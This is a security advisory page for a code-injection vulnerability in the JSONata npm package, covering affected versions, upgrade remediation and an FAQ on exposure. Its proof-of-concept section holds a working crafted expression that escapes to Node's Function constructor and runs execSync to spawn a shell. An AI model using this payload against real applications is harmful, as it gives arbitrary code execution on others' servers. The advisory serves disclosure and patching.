GHSA-2943-5xfg-gq5f: Code Injection

Published Aug 21, 2026
·
Updated

Before JSONata 2.2.1 and 1.8.8 it was possible to execute arbitrary code with crafted expressions, due to a bypassable hasOwnProperty check in environment.lookup https://github.com/jsonata-js/jsonata/blob/8ee4476f8a228bfc7a62979ae0a9c13a4043cd03/src/jsonata.js#L1863-L1871

This was fixed in https://github.com/jsonata-js/jsonata/pull/799 (https://github.com/jsonata-js/jsonata/pull/799/files#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1865-R1865) which is included in the 2.2.1 release, and then back-ported to the 1.8.8 release.

PoC

js import jsonata from "jsonata";

const expression = jsonata( ( $hasOwnProperty := $spread($string); $proto := $constructor; $constructor("return process.getBuiltinModule('childprocess').execSync('sh',{stdio:'inherit'})")(); ));

await expression.evaluate({});

Affected Software

2 affected componentsFixes available
npm/jsonata<1.8.8
1.8.8
npm/jsonata>=2.0.0<2.2.1
2.2.1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/jsonata to a version that resolves this vulnerability.

    Fixed in 1.8.8
  2. Upgrade

    Upgrade npm/jsonata to a version that resolves this vulnerability.

    Fixed in 2.2.1
  3. Upgrade

    Upgrade jsonata to a version that resolves this vulnerability.

    Fixed in 2.2.1
  4. Upgrade

    Upgrade jsonata to a version that resolves this vulnerability.

    Fixed in 1.8.8

Event History

Aug 21, 2026
Advisory Published
via GitHub·08:58 PM
Data Sourced
via GitHub·08:58 PM
DescriptionWeaknessAffected Software

Frequently Asked Questions

1

Which JSONata versions need to be upgraded?

Versions earlier than 2.2.1 in the 2.x line and earlier than 1.8.8 in the 1.x line are affected. Upgrade to JSONata 2.2.1 or 1.8.8, depending on the release line you use.

2

What must an attacker be able to do to exploit this issue?

An attacker needs to supply or influence a JSONata expression that the application compiles and evaluates. The provided proof of concept uses a crafted expression to invoke Node.js child_process.execSync, resulting in arbitrary code execution.

3

How can I determine whether my application is exposed?

Check whether your application uses npm/jsonata below the fixed versions and evaluates expressions originating from untrusted users or other untrusted input. The issue is in expression handling, so applications that only evaluate fixed, developer-controlled expressions are not shown in the provided information to be directly exploitable.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203